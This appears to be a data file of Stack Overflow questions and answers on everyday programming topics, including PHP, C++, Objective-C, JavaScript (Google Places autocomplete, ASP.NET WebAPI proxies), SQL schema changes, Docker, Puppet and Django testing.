25440559	0	 <pre><code> if($query = $this-&gt;mod_reports-&gt;registered_customers_bod()){ $data['records'] = $query ; }else{ $data['records'] = new stdClass(); // change here } </code></pre> <p>the reason behind the error is when no record is found from db your <code>$data['records']</code> is a <strong>String</strong> and which is surely <code>Invalid argument for foreach()</code></p> <p>and instead of <code>isset($records)</code> in view use <code>empty($records)</code></p> <p>and put else in view <strong>EDIT</strong></p> <pre><code>$arr = (array)$records; if(!empty($arr)){ $i = 1; $delivered_qty_total = 0; foreach($records as $row) { ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo $i++; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;cus_id; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;cus_name; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;cus_email; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;cus_phone; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;cus_mobile; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;cus_addr_city; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $row-&gt;user_status; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo gmdate("Y/m/d", $row-&gt;user_timestamp); ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php } ?&gt; } else { echo "No records found";} </code></pre>
13917119	0	 <p><a href="http://xamarin.com/mac" rel="nofollow">Xamarin.Mac</a>: an open source library for building Cocoa applications on OSX using C# and .NET.</p> <p>You can dig into the <a href="https://github.com/xamarin/xamarin-macios" rel="nofollow">source code</a> and read the <a href="https://developer.xamarin.com/guides/mac/getting_started/hello,_mac/" rel="nofollow">documentation</a>.</p>
19366842	0	 <p>You need only to vector of vector of string:</p> <pre><code>vector&lt;vector&lt;string&gt; &gt; table((int)('z' - 'a')); string str; while (cin &gt;&gt; str) { table[tolower(str[0]) - 'a'].push_back(str); } </code></pre> <p>To clarify:</p> <ul> <li><code>table</code> is of length 26 (which is the result of <code>'z' - 'a'</code>), since we have 26 alpha chars.</li> <li>Each of the 26 elements is a vector of strings.</li> <li>When we put the read string, we put it in an index relative to its first char.</li> </ul> <p>For example: "all" => `tolower(str[0] - 'a') = 0</p> <p>About your code:</p> <pre><code>class index_table { public: index_table() { table.resize(128);} void insert(string &amp; ); // Don't need second param private: class entry { //Subclass string word; // vector&lt;int&gt; is not needed } vector&lt; vector &lt;entry &gt; &gt; table; // Don't need list type }; void index_table::insert(string &amp; s) { if (s.size() == 0) return; else table[(int)(s[0])].push_back(s); // (int)(s[0]) bring ASCII code } </code></pre>
20459887	0	Format specifies type 'int' but the argument has type 'UIViewContentMode' <p>I am getting a warning in Xcode:</p> <blockquote> <p>Format specifies type 'int' but the argument has type 'UIViewContentMode'</p> </blockquote> <p>I have a method that I am using to resize an <code>UIImage</code> as follows:</p> <pre><code>- (UIImage *)resizedImageWithContentMode:(UIViewContentMode)contentMode bounds:(CGSize)bounds interpolationQuality:(CGInterpolationQuality)quality { CGFloat horizontalRatio = bounds.width / self.size.width; CGFloat verticalRatio = bounds.height / self.size.height; CGFloat ratio; switch (contentMode) { case UIViewContentModeScaleAspectFill: ratio = MAX(horizontalRatio, verticalRatio); break; case UIViewContentModeScaleAspectFit: ratio = MIN(horizontalRatio, verticalRatio); break; default: [NSException raise:NSInvalidArgumentException format:@"Unsupported content mode: %d", contentMode]; } ... </code></pre> <p><code>UIViewContentMode</code> seems to reference an Integer so I am not sure on this warning:</p> <pre><code>typedef NS_ENUM(NSInteger, UIViewContentMode) { UIViewContentModeScaleToFill, UIViewContentModeScaleAspectFit, // contents scaled to fit with fixed aspect. remainder is transparent UIViewContentModeScaleAspectFill, ... </code></pre> <p>How can I get rid of this warning it seems to be incorrect? Is the <code>NSLog</code> in the exception correct? </p>
33555804	0	 <p>Looks like this was my fault. Hopefully this might help someone else.</p> <p>My normal drawable was actually in the drawable-nodpi folder, not drawable. I guess that was somehow overriding the v21 folder version.</p>
4346563	0	Sharepoint 2010 Built-In Web Service - How to Delete File and/or Folder <p>Is there a built-in SP 2010 web service for deleting a file/folder in a doc library?</p>
10424733	0	 <h1>Updated</h1> <p>Google has released <a href="https://developers.google.com/maps/documentation/javascript/places-autocomplete" rel="nofollow">Google Places Autocomplete</a> which resolves exactly this problem.</p> <p>At the bottom of a page throw this in there:</p> <pre><code>&lt;script defer async src="//maps.googleapis.com/maps/api/js?libraries=places&amp;key=(key)&amp;sensor=false&amp;callback=googPlacesInit"&gt;&lt;/script&gt; </code></pre> <p>Where <code>(key)</code> is your API key.</p> <p>We've set our code up so you mark some fields to handle typeahead and get filled in by that typeahead, like:</p> <pre><code>&lt;input name=Address placeholder=Address /&gt; &lt;input name=Zip placeholder=Zip /&gt; </code></pre> <p>etc</p> <p>Then you initialize it (before the Google Places API has loaded typically, since that's going to land async) with:</p> <pre><code>GoogleAddress.init('#billing input', '#shipping input'); </code></pre> <p>Or whatever. In this case it's tying the address typeahead to whatever input has name=Address in the #billing tag and #shipping tag, and it will fill in the related fields inside those tags for City, State, Zip etc when an address is chosen.</p> <p>Setup the class:</p> <pre><code>var GoogleAddress = { AddressFields: [], //ZipFields: [], // Not in use and the support code is commented out, for now OnSelect: [], /** * @param {String} field Pass as many arguments as you like, each a selector to a set of inputs that should use Google * Address Typeahead via the Google Places API. * * Mark the inputs with name=Address, name=City, name=State, name=Zip, name=Country * All fields are optional; you can for example leave Country out and everything else will still work. * * The Address field will be used as the typeahead field. When an address is picked, the 5 fields will be filled in. */ init: function (field) { var args = $.makeArray(arguments); GoogleAddress.AddressFields = $.map(args, function (selector) { return $(selector); }); } }; </code></pre> <p>The script snippet above is going to async call into a function named <code>googPlacesInit</code>, so everything else is wrapped in a function by that name:</p> <pre><code>function googPlacesInit() { var fields = GoogleAddress.AddressFields; if ( // If Google Places fails to load, we need to skip running these or the whole script file will fail typeof (google) == 'undefined' || // If there's no input there's no typeahead so don't bother initializing fields.length == 0 || fields[0].length == 0 ) return; </code></pre> <p>Setup the autocomplete event, and deal with the fact that we always use multiple address fields, but Google wants to dump the entire address into a single input. There's surely a way to prevent this properly, but I'm yet to find it.</p> <pre><code>$.each(fields, function (i, inputs) { var jqInput = inputs.filter('[name=Address]'); var addressLookup = new google.maps.places.Autocomplete(jqInput[0], { types: ['address'] }); google.maps.event.addListener(addressLookup, 'place_changed', function () { var place = addressLookup.getPlace(); // Sometimes getPlace() freaks out and fails - if so do nothing but blank out everything after comma here. if (!place || !place.address_components) { setTimeout(function () { jqInput.val(/^([^,]+),/.exec(jqInput.val())[1]); }, 1); return; } var a = parsePlacesResult(place); // HACK! Not sure how to tell Google Places not to set the typeahead field's value, so, we just wait it out // then overwrite it setTimeout(function () { jqInput.val(a.address); }, 1); // For the rest, assign by lookup inputs.each(function (i, input) { var val = getAddressPart(input, a); if (val) input.value = val; }); onGoogPlacesSelected(); }); // Deal with Places API blur replacing value we set with theirs var removeGoogBlur = function () { var googBlur = jqInput.data('googBlur'); if (googBlur) { jqInput.off('blur', googBlur).removeData('googBlur'); } }; removeGoogBlur(); var googBlur = jqInput.blur(function () { removeGoogBlur(); var val = this.value; var _this = this; setTimeout(function () { _this.value = val; }, 1); }); jqInput.data('googBlur', googBlur); }); // Global goog address selected event handling function onGoogPlacesSelected() { $.each(GoogleAddress.OnSelect, function (i, fn) { fn(); }); } </code></pre> <p>Parsing a result into the canonical street1, street2, city, state/province, zip/postal code is not trivial. Google differentiates these localities with varying tags depending on where in the world you are, and as a warning, there are places for example in Africa that meet none of your expectations of what an address looks like. You can break addresses in the world into 3 categories:</p> <ul> <li><p>US-identical - the entire US and several countries that use a similar addressing system</p></li> <li><p>Formal addresses - UK, Australia, China, basically developed countries - but the way their address parts are tags has a fair amount of variance</p></li> <li><p>No formal addresses - in undeveloped areas there are no street names let alone street numbers, sometimes not even a town/city name, and certainly no zip. In these locations what you really want is a GPS location, which is not handled by this code.</p></li> </ul> <p>This code only attempts to deal with the first 2 cases.</p> <pre><code>function parsePlacesResult(place) { var a = place.address_components; var p = {}; var d = {}; for (var i = 0; i &lt; a.length; i++) { var ai = a[i]; switch (ai.types[0]) { case 'street_number': p.num = ai.long_name; break; case 'route': p.rd = ai.long_name; break; case 'locality': case 'sublocality_level_1': case 'sublocality': d.city = ai.long_name; break; case 'administrative_area_level_1': d.state = ai.short_name; break; case 'country': d.country = ai.short_name; break; case 'postal_code': d.zip = ai.long_name; } } var addr = []; if (p.num) addr.push(p.num); if (p.rd) addr.push(p.rd); d.address = addr.join(' '); return d; } /** * @param input An Input tag, the DOM element not a jQuery object * @paran a A Google Places Address object, with props like .city, .state, .country... */ var getAddressPart = function(input, a) { switch(input.name) { case 'City': return a.city; case 'State': return a.state; case 'Zip': return a.zip; case 'Country': return a.country; } return null; } </code></pre> <h1>Old Answer</h1> <p>ArcGis/ESRI has a limited typeahead solution that's functional but returns limited results only after quite a bit of input. There's a demo here:</p> <p><a href="http://www.esri.com/services/disaster-response/wildlandfire/latest-news-map.html" rel="nofollow">http://www.esri.com/services/disaster-response/wildlandfire/latest-news-map.html</a></p> <p>For example you might type 1600 Pennsylvania Ave hoping to get the white house by the time you type "1600 Penn", but have to get as far as "1600 pennsylvania ave, washington dc" before it responds with that address. Still, it could have a small benefit to users in time savings.</p>
17577084	0	 <p>Assuming your constraint name in table <code>two</code> is <code>two_ibfk_1</code> , you can see the name of the constraint with this command :<br> SHOW CREATE TABLE <code>two</code>;</p> <p>so the command would be to delete the constraint first, and then recreate it after it was modified</p> <pre><code>ALTER TABLE two DROP FOREIGN KEY two_ibfk_1; ALTER TABLE one MODIFY COLUMN `id` int(10) NOT NULL auto_increment; ALTER TABLE two MODIFY COLUMN `one_id` int(10) NOT NULL ; ALTER TABLE two ADD CONSTRAINT FOREIGN KEY (`one_Id`) REFERENCES `one` (`id`) ON DELETE CASCADE ON UPDATE CASCADE; </code></pre> <p>FYI, the second command to modify table <code>two</code> can not be set as auto_increment, because the primary is is column <code>id</code></p>
13657929	0	 <p>SQLite has no general mechanism to execute commands conditionally. However, in triggers, you can use a <code>WHEN</code> condition on the entire trigger:</p> <pre><code>CREATE TRIGGER test_for_broj_goluba AFTER UPDATE OF majka ON unos_golub BEGIN UPDATE unos_golub SET broj_goluba=NEW.majka WHERE broj_goluba=OLD.majka; END; CREATE TRIGGER test_for_majka AFTER UPDATE OF majka ON unos_golub WHEN NEW.majka &lt;&gt; '' BEGIN UPDATE unos_golub SET majka=NEW.majka WHERE majka=OLD.majka; END; </code></pre> <p>(The first <code>UPDATE</code> is the same in both cases and thus does not need a <code>WHEN</code>.)</p>
20941177	0	 <p>Modern PAAS systems favour building an image for each customer, creating versioned copies of both software and configuration. This follows the "<a href="http://12factor.net/build-release-run">Build, release, run</a>" recommendation of the 12 factor app website:</p> <ul> <li><a href="http://12factor.net/">http://12factor.net/</a></li> </ul> <p>An docker based example is <a href="http://deis.io/">Deis</a>. It uses Heroku build packs to customize the software application environment and the environment settings are also baked into a docker image. At run-time these images are run by chef on each application server.</p> <p>This approach works well with Docker, because images are easy to build. The challenge I think is managing the docker images, something the <a href="http://blog.docker.io/2013/07/how-to-use-your-own-registry/">docker registry</a> is designed to support.</p>
17535616	0	Qt TabStop color troubles <p>In my application i have an annoying white rectangle on tabstop controls. I tried to look in stylesheets but myitem:tabstop style don't do anything. Is there any way i can somehow change tabstop color/or make it another form.</p>
31268069	0	 <p>It is just formatting the output in your client.</p> <p>For example, in SQL*Plus set <strong>numformat</strong>:</p> <pre><code>SQL&gt; set numformat 999.99 SQL&gt; SELECT CAST((600.2) AS NUMERIC(28,2)) FROM DUAL; CAST((600.2)ASNUMERIC(28,2)) ---------------------------- 600.20 </code></pre> <p>You could also use <strong>TO_CHAR</strong>, but use it only to display, for any number arithmetic you should leave the number as it is.</p> <pre><code>SQL&gt; select to_char(600.2, '000.00') from dual; TO_CHAR ------- 600.20 </code></pre>
1541418	0	 <p>The other option that you have, depending on what you're trying to do, is to host the CLR in your application which allows you to more tightly integrate the C# code than is possible by going through COM. You can read an overview of doing this in this <a href="http://msdn.microsoft.com/en-us/magazine/cc163567.aspx" rel="nofollow noreferrer">MSDN Magazine article</a>.</p>
36879653	0	 <p>The manifest in the examples directory just needs that one line with "include cowsayings::cowsay".</p> <p>There are two tasks that have to happen with puppet, "defining" classes and "declaring" them. The <code>cowsayings/manifests/cowsay.pp</code> contains the definition, but you need to actually declare the class in order to make something happen.</p> <p>That's what <code>puppet apply cowsayings/examples/cowsay.pp</code> does, it declares the class.</p>
38482517	0	Kentico 9 cms:cmsTextBox placeholder localization <p>I've duplicated the search box webpart so i can make changes. I'm trying to add a localization string to the placeholder attribute.</p> <p>This isn't working:</p> <pre><code>&lt;cms:CMSTextBox ID="txtWord" runat="server" EnableViewState="false" MaxLength="1000" ProcessMacroSecurity="false" placeholder="&lt;%= CMS.Helpers.ResHelper.GetString("kff.Search--PlaceHolderCopy")%&gt;" /&gt; </code></pre> <p>nor does this:</p> <pre><code>&lt;cms:CMSTextBox ID="txtWord" runat="server" EnableViewState="false" MaxLength="1000" ProcessMacroSecurity="false" placeholder='&lt;%= CMS.Helpers.ResHelper.GetString("kff.Search--PlaceHolderCopy")%&gt;' /&gt; </code></pre> <p>I have a JS Snippet that does work, but i'm hoping to avoid copy in JS files.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code> var $searchField = $('.searchTextbox'); if ($('body').hasClass('ENCA')) { // search field placeholder copy $searchField.attr('placeholder', 'Search For Stuff'); } else { $searchField.attr('placeholder', 'Recherche'); }</code></pre> </div> </div> </p> <p>Can I add the localization string to the server tag, or should it be done in the code behind. I'm not sure the best location in the code behind for this either, I can't see a Page_Load block. </p>
9353133	0	 <p>Right click on the file choose "properties" and set "content" as for the "Build Action"<br> .JSON is not known to VS2010 web application file types You can change the behavior of vS2010 by <a href="http://blog.andreloker.de/post/2010/07/02/Visual-Studio-default-build-action-for-non-default-file-types.aspx" rel="nofollow">editing the registry</a> </p>
41020612	0	Is there a way to use PouchDB Inspector to inspect a remote device? <p>I am using PouchDB with an Ionic APP, I debug it using Chrome and looking into the console. I would like to inspect the device pouchDB database like I do in chrome with the localhost version with <a href="https://pouchdb.com/guides/databases.html#debugging" rel="nofollow noreferrer">PouchDB Inspector</a></p> <p>Is there a way to do this? I do not see anything when I enter the PouchDB Inspector while in Chrome -> Inspect Remote Devices</p>
18218236	0	 <p><s>Just found a project called: <strong>ProxyApi</strong> </p> <blockquote> <p>ProxyApi is a library that automatically creates JavaScript proxy objects for your ASP.NET MVC and WebApi Controllers.</p> </blockquote> <p>GitHub: <a href="https://github.com/stevegreatrex/ProxyApi">https://github.com/stevegreatrex/ProxyApi</a></p> <p>Blog: <a href="http://blog.greatrexpectations.com/2012/11/06/proxyapi-automatic-javascript-proxies-for-webapi-and-mvc/">http://blog.greatrexpectations.com/2012/11/06/proxyapi-automatic-javascript-proxies-for-webapi-and-mvc/</a></s></p> <p>ProxyApi generated invalid JavaScript for my solution which contained over a hundred separate WebAPI actions. This is probably because ProxyApi does not cover all WebApi features such as custom ActionName attributes. Moreover the ProxyApi library is a bit on the bulky side to my taste. There has to be a more efficient way to do this...</p> <p>So I decided to take a look at the ASP.NET WebAPI source code and it turns out WebAPI has self-describing functionality built into it. You can use the following code from anywhere in your ASP.NET solution to access WebAPI metadata:</p> <pre><code>var apiExplorer = GlobalConfiguration.Configuration.Services.GetApiExplorer(); </code></pre> <p>Based on the output from <code>apiExplorer.ApiDescriptions</code>, I rolled my own metadata provider:</p> <pre><code>public class MetadataController : Controller { public virtual PartialViewResult WebApiDescription() { var apiExplorer = GlobalConfiguration.Configuration.Services.GetApiExplorer(); var apiMethods = apiExplorer.ApiDescriptions.Select(ad =&gt; new ApiMethodModel(ad)).ToList(); return PartialView(apiMethods); } public class ApiMethodModel { public string Method { get; set; } public string Url { get; set; } public string ControllerName { get; set; } public string ActionName { get; set; } public IEnumerable&lt;ApiParameterModel&gt; Parameters { get; set; } public ApiMethodModel(ApiDescription apiDescription) { Method = apiDescription.HttpMethod.Method; Url = apiDescription.RelativePath; ControllerName = apiDescription.ActionDescriptor.ControllerDescriptor.ControllerName; ActionName = apiDescription.ActionDescriptor.ActionName; Parameters = apiDescription.ParameterDescriptions.Select(pd =&gt; new ApiParameterModel(pd)); } } public class ApiParameterModel { public string Name { get; set; } public bool IsUriParameter { get; set; } public ApiParameterModel(ApiParameterDescription apiParameterDescription) { Name = apiParameterDescription.Name; IsUriParameter = apiParameterDescription.Source == ApiParameterSource.FromUri; } } } </code></pre> <p>Use this controller in conjunction with the following view:</p> <pre><code>@model IEnumerable&lt;Awesome.Controllers.MetadataController.ApiMethodModel&gt; &lt;script type="text/javascript"&gt; var awesome = awesome || {}; awesome.api = { metadata: @Html.Raw(Json.Encode(Model)) }; $.each(awesome.api.metadata, function (i, action) { if (!awesome.api[action.ControllerName]) { awesome.api[action.ControllerName] = {}; } awesome.api[action.ControllerName][action.ActionName] = function (parameters) { var url = '/' + action.Url; var data; $.each(action.Parameters, function (j, parameter) { if (parameters[parameter.Name] === undefined) { console.log('Missing parameter: ' + parameter.Name + ' for API: ' + action.ControllerName + '/' + action.ActionName); } else if (parameter.IsUriParameter) { url = url.replace("{" + parameter.Name + "}", parameters[parameter.Name]); } else if (data === undefined) { data = parameters[parameter.Name]; } else { console.log('Detected multiple body-parameters for API: ' + action.ControllerName + '/' + action.ActionName); } }); return $.ajax({ type: action.Method, url: url, data: data, contentType: 'application/json' }); }; }); &lt;/script&gt; </code></pre> <p>The controller will use the <code>ApiExplorer</code> to generate metadata about all available WebAPI actions. The view will render this data as JSON and then execute some JavaScript to transform this data to actual executable JavaScript functions. </p> <p>To use this little bit of magic, insert the following line in the head of your Layout page <strong>after</strong> your jQuery reference.</p> <pre><code>@Html.Action(MVC.Metadata.WebApiDescription()) </code></pre> <p>From now on, you can make your WebAPI calls look like this:</p> <pre><code>// GET: /Api/Notes?id={id} awesome.api.Notes.Get({ id: id }).done(function () { // .. do something cool }); // POST: /Api/Notes awesome.api.Notes.Post({ form: formData }).done(function () { // .. do something cool }); </code></pre> <p>This simple proxy will automatically distinguish query string parameters from request body parameters. Missing parameters or multiple body-parameters will generate an error to prevent typo's or other common WebAPI development errors.</p>
8030932	0	 <p>If you find yourself repeating similar code in multiple projects, it might be a good idea to extract the portions that are repeated into a library of reusable code in hopes of avoiding repeating yourself in the future. </p> <p>This is unlikely to lead to fully general reusable implementations of design patterns.</p>
19017802	0	 <p><code>file.log</code> is the input file here. I've used Endoro's techniques but with some small changes.</p> <pre><code>@echo off setlocal enabledelayedexpansion ( echo Disk State Raw_Capacity User_Capacity for /f "usebackq delims=" %%a in ("file.log") do ( set "line=%%a" if /i "!line:Disk:=!" neq "!line!" &lt;nul set/p"=!line:*Disk:=! " if /i "!line:State=!" neq "!line!" &lt;nul set/p"=!line:*State:=! " if /i "!line:Raw=!" neq "!line!" &lt;nul set/p"=!line:*Capacity:=! " if /i "!line:User=!" neq "!line!" &lt;nul set/p"=!line:*Capacity:=!"&amp;echo( ) )&gt;"output file.txt" </code></pre>
24294991	0	 <p>I don't think that Python is going to give you a strong guarantee that it won't actually read the entire file when you use <code>f.seek</code>. I think that this is too platform- and implementation-specific to rely on Python. You should use Windows-specific tools that give you a guarantee of random acess rather than sequential. </p> <p><a href="http://support.microsoft.com/kb/150700" rel="nofollow">Here's a snippet of Visual Basic</a> that you can modify to suit your needs. You can define your own record type that's two 64-bit integers long. Alternatively, you can use a <a href="http://msdn.microsoft.com/en-us/library/ee433613.aspx" rel="nofollow">C# FileStream object</a> and use its <code>seek</code> method to get what you want. </p> <p>If this is performance-critical software, I think you need to make sure you're getting access to the OS primitives that do what you want. I can't find any references that indicate that Python's <code>seek</code> is going to do what you want. If you go that route, you need to test it to make sure it does what it seems like it should. </p>
25838407	0	 <p>In my case the issue was solved only after refreshing .htaccess file in drupal root folder. You can take the source here: <a href="https://github.com/drupal/drupal/blob/7.x/.htaccess" rel="nofollow">https://github.com/drupal/drupal/blob/7.x/.htaccess</a></p>
21402494	0	 <p>There is a dedicated option for that in the queue configuration. You can set a "Prolog" or "Epilog" script that will be executed before and after the job respectively. See <code>man queue_conf</code> or <a href="http://gridscheduler.sourceforge.net/htmlman/htmlman5/queue_conf.html" rel="nofollow">http://gridscheduler.sourceforge.net/htmlman/htmlman5/queue_conf.html</a>.</p>
13640979	0	 <p>After successful login via facebook save user id into a global variable or in app properties. I will prefer app properties because unless the user will logout from facebook the uid will remain in the app properties i-e</p> <pre><code>Ti.App.Properties.setString('uid', Ti.Facebook.uid); </code></pre> <p>so when you use your app back just check the uid first.</p> <pre><code>var fb_id = Ti.App.Properties.getString('uid'); if(fb_id){ // your code } </code></pre> <p>and when you logout clear the variable with '' or null.</p>
1598220	0	 <p>The trick is to left join on album permissions which means every album will be selected and if there is a permission record associated with it, that record will be selected too.</p> <p>Then just add a where clause that says either the album must not be private, or a permission record should exist.</p> <pre><code>SELECT Albums.Album_ID, Albums.Name, Albums.Private FROM Albums LEFT JOIN AlbumPermissions ON Albums.Album_ID = AlbumPermissions.Album_ID AND AlbumPermissions.User_ID = 5 WHERE Albmums.private == 'no' OR AlbumPermissions.ID IS NOT NULL </code></pre>
29440294	0	 <p>Try the following:</p> <pre><code>SELECT myTable1.* FROM myTable1 JOIN (SELECT myTable2.* FROM myTable2) b ON myTable1.myRef = b.myRef WHERE col2 = 1 ORDER BY b.col3 ASC </code></pre> <blockquote> <p>If your <em>WHERE</em> statement is referecing <em>col2</em> correctly, this approach should work just fine.</p> </blockquote>
31174994	0	How can i make my sub-menu show and hide when click on main item? <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('.slideout-menu li').click( function() { $(this).children('.mobile-sub-menu').show(); }, function() { $(this).children('.mobile-sub-menu').hide(); }); </code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.slideout-menu { position: absolute; top: 100px; left: 0px; width: 100%; height: 100%; background: rgb(248, 248, 248); z-index: 1; } .slideout-menu .slideout-menu-toggle { position: absolute; top: 12px; right: 10px; display: inline-block; padding: 6px 9px 5px; font-family: Arial, sans-serif; font-weight: bold; line-height: 1; background: #222; color: #999; text-decoration: none; vertical-align: top; } .slideout-menu .slideout-menu-toggle:hover { color: #fff; } .slideout-menu ul { list-style: none; font-weight: 300; border-top: 1px solid #dddddd; border-bottom: 1px solid #dddddd; } .slideout-menu ul li { /*border-top: 1px solid #dddddd;*/ border-bottom: 1px solid #dddddd; } .slideout-menu ul li a { position: relative; display: block; padding: 10px; color: #999; text-decoration: none; } .slideout-menu ul li a:hover { background: #aaaaaa; color: #fff; } .slideout-menu ul li a i { position: absolute; top: 15px; right: 10px; opacity: .5; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt; &lt;div class="slideout-menu"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="#"&gt;MANUALS&lt;/a&gt; &lt;ul class="mobile-sub-menu"&gt; &lt;li&gt;&lt;a href="#"&gt;1&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;1&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;1&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;NEWS&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;SPARE PART&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Photo Gallery&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;WHERE TO BUY&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;SUPPORT&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;EDIT BOOK&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>I add some sub-item under MANUALS main item. What can I do to make its sub-menu hide and show when I click on its parent main item?</p> <p>I try to write some jQuery code but right now only can hide the item but cannot let it show again. Is something wrong on my jQuery code?</p>
4569656	0	 <p>django test client uses default base url:</p> <p><a href="http://testserver/" rel="nofollow">http://testserver/</a></p> <p>which makes your test url /accounts/register/ into:</p> <p><a href="http://testserver/accounts/register/" rel="nofollow">http://testserver/accounts/register/</a></p> <p>so you should add 'testserver' in django sites.site model as a base url. maximum recursion depth exceed because django client did'nt find 'testserver' as a domain in sites.site</p>
19364504	0	 <p>If you are using an unpatched .net 4.5. Microsoft broke the <code>.CanExecute</code> event.</p> <p><a href="http://connect.microsoft.com/VisualStudio/feedback/details/753666/net-4-0-application-commands-canexecute-not-updating-in-4-5" rel="nofollow">http://connect.microsoft.com/VisualStudio/feedback/details/753666/net-4-0-application-commands-canexecute-not-updating-in-4-5</a></p> <p>If you are using the <code>RelayCommand</code> from <a href="http://msdn.microsoft.com/en-us/magazine/dd419663.aspx#id0090030" rel="nofollow">http://msdn.microsoft.com/en-us/magazine/dd419663.aspx#id0090030</a> and are not raising the CanExecuteChanged event when redoStack changes.</p>
5875419	0	 <p>you cannot pass an argument to the handler - since you are not the one calling the handler. The handler will be called from somewhere outside your control.</p> <p>you register a handler either with a call to <code>signal</code> or <code>sigaction</code> .</p> <p>hth</p> <p>Mario</p>
8351087	0	 <p>Based on comments from @kapep I realized what I needed is actually a compression library that will do this work for me.</p> <p>I stumbled across an <a href="http://code.google.com/p/calista/source/browse/trunk/AS3/src/calista/util/LZW.as?r=3" rel="nofollow">LZW compression class within a package called Calista</a> which works great.</p> <p>I did notice that the compression was really slow, which is understandable, but if there are any suggestions for something quicker I'm open to them.</p>
19942706	0	 <p>Your first call to <code>hadoop fs -ls</code> is a relative directory listing, for the current user typically rooted in a directory called <code>/user/${user.name}</code> in HDFS. So your <code>hadoop fs -ls</code> command is listing files / directories relative to this location - in your case <code>/user/Li/</code></p> <p>You should be able to assert this by running a aboolute listing and confirm the contents / output match: <code>hadoop fs -ls /user/Li/</code></p> <p>As these files are in HDFS, you will not be able to find them on the local filesystem - they are distributed across your cluster nodes as blocks (for real files), and metadata entries (for files and directories) in the NameNode.</p>
2040985	0	NSString function <p>I get a null return when i try out my NSString function.</p> <pre><code>//Track.m static NSString* trackUrl; //static NSString* getTrackNumberUrl; @implementation Track - (NSString*)trackUrl { return @"http://site.com/?a="; } - (NSString*)setTrackNumberUrl:(NSString*)trackNumberUrl { if (trackUrl != trackNumberUrl) { return [trackUrl stringByAppendingFormat:trackNumberUrl]; } return @"Error no trackNumber"; } - (NSString*)getTrackNumberUrl:(NSString*)trackNumber { return [[[self alloc] setTrackNumberUrl:trackNumber] autorelease]; } @end </code></pre> <p>MainView.m, just to show the return answer in NSlog</p> <pre><code>- (NSString *) trackNumber{ return [track getTrackNumberUrl:@"86147224549XX"]; } - (void)drawRect:(CGRect)rect { NSLog(trackNumber); } </code></pre> <p>I get a null return answer? Have i miss something? Thanks.</p> <p>Edit some in Track.m</p> <pre><code>- (NSString*)setTrackNumberUrl:(NSString*)trackNumberUrl { if (trackUrl != trackNumberUrl) { return [trackUrl stringByAppendingString:trackNumberUrl]; } return @"Error no trackNumber"; } - (NSString*)getTrackNumberUrl:(NSString*)trackNumber { return [[[Track alloc] setTrackNumberUrl:trackNumber] init]; } </code></pre> <p>This is how it should work.</p> <p>getTrackNumberUrl --> setTrackNumberUrl --> trackUrl (return) --> setTrackNumberUrl + trackNumber --> getTrackNumberUrl (trackNumberUrl = trackUrl + trackNumber)</p> <hr> <p>I have this code to set reference to Track</p> <pre><code>@class Track; @interface MainView : UIView { Track *track; } @property (nonatomic, retain) IBOutlet Track *track; </code></pre> <p>Well if don't should use self alloc, what should i use?</p>
20195	0	 <p>Steve, I had to migrate my old application the way around, that is PgSQL->MySQL. I must say, you should consider yourself lucky ;-) Common gotchas are:</p> <ul> <li>SQL is actually pretty close to language standard, so you may suffer from MySQL's dialect you already know</li> <li>MySQL quietly truncates varchars that exceed max length, whereas Pg complains - quick workaround is to have these columns as 'text' instead of 'varchar' and use triggers to truncate long lines</li> <li>double quotes are used instead of reverse apostrophes</li> <li>boolean fields are compared using IS and IS NOT operators, however MySQL-compatible INT(1) with = and &lt;> is still possible</li> <li>there is no REPLACE, use DELETE/INSERT combo</li> <li>Pg is pretty strict on enforcing foreign keys integrity, so don't forget to use ON DELETE CASCADE on references</li> <li>if you use PHP with PDO, remember to pass a parameter to lastInsertId() method - it should be sequence name, which is created usually this way: [tablename]_[primarykeyname]_seq</li> </ul> <p>I hope that helps at least a bit. Have lots of fun playing with Postgres!</p>
